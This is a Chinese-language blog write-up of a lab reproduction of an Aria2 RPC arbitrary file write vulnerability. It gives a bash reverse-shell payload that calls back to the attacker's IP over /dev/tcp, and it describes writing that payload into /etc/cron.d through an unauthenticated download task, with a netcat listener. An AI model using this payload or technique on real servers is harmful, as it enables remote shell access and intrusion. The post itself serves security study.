Aria2任意文件写入漏洞
目录:
- 简介
- 漏洞描述
- payload
- 漏洞复现
一、Aria2介绍
Aria2是一个命令行下运行,多协议,多来源下载工具(HTTP / HTTPS,FTP,BitTorrent,Metalink),内建XML-RPC用户界面。Aria提供RPC服务器,通过--enable-rpc
参数启动.Aria2的RPC服务器可以方便的添加,删除下载项目。
二、漏洞描述
通过控制文件下载链接,文件储存路径以及文件名,可以实现任意文件写入。同时通过Aria2提供的其他功能,诸如save-session
等也能轻易地实现任意文件写入指定功能。
三、payload
shell脚本:
1 2 | #! /bin/bash /bin/bash -i >& /dev/tcp/192.168.183.129/12345 0>&1 |
站点;http://binux.github.io/yaaw/demo/#
四、复现
靶机ip:192.168.183.134:6800
攻击机:192.168.183.129
直接访问aria2如下:
1.rpc通信需要json或xml,直接从网页操作不方便,我们使用第三方UI与目标进行通信,打开 http://binux.github.io/yaaw/demo/# 点击configuration,设置 json-rpc路径(原理具体解释参照:https://paper.seebug.org/120/,有时间继续补充)
2.设置下载任务,填写shell的url,及受害主机shell文件的存储路径
3.确定添加后,可以到容器下查看,文件确实已下载到定时目录下,在被反弹shell的攻击机下监听端口 nc -lvvp port
这里我遇到一些问题,cron.d下的shell文件没有执行,那么我们检查一下,是否是脚本有问题导致的,还是定时任务的一些问题,如两台主机时间不同步等。。
分析过程:
1.shell脚本是否能执行;直接运行shell命令,或者为其添加可执行权限后再执行,检查kali监听状态,发现可以监听到,脚本OK
2.检查定时任务。。。这个确实是环境不允许,靶场docker镜像不完整,crontab -l 检查,没有定时任务在执行;检查定时任务服务开启,没有问题,检查日志,该环境没有日志,且进行下一步检查时,缺少crontab的其他环境,无法继续,可以推断这个问题,就是因为环境的不完整导致的。
3.但是,在靶机环境中/etc/cron.d中,确实下载了shell文件,可以证明aria2这个漏洞确实是存在的。在更完整的生产环境中,应该是可以正常拿shell的。
综上,这个任意文件写入漏洞是由于服务端没有对写入做一个身份验证。
本文作者:Voyager0
本文链接:https://www.cnblogs.com/8oIo8/p/11353506.html
版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 如何打造一个高并发系统?
· .NET Core GC压缩(compact_phase)底层原理浅谈
· 现代计算机视觉入门之:什么是图片特征编码
· .NET 9 new features-C#13新的锁类型和语义
· Linux系统下SQL Server数据库镜像配置全流程详解
· Sdcb Chats 技术博客:数据库 ID 选型的曲折之路 - 从 Guid 到自增 ID,再到
· 语音处理 开源项目 EchoSharp
· 《HelloGitHub》第 106 期
· Huawei LiteOS基于Cortex-M4 GD32F4平台移植
· mysql8.0无备份通过idb文件恢复数据过程、idb文件修复和tablespace id不一致处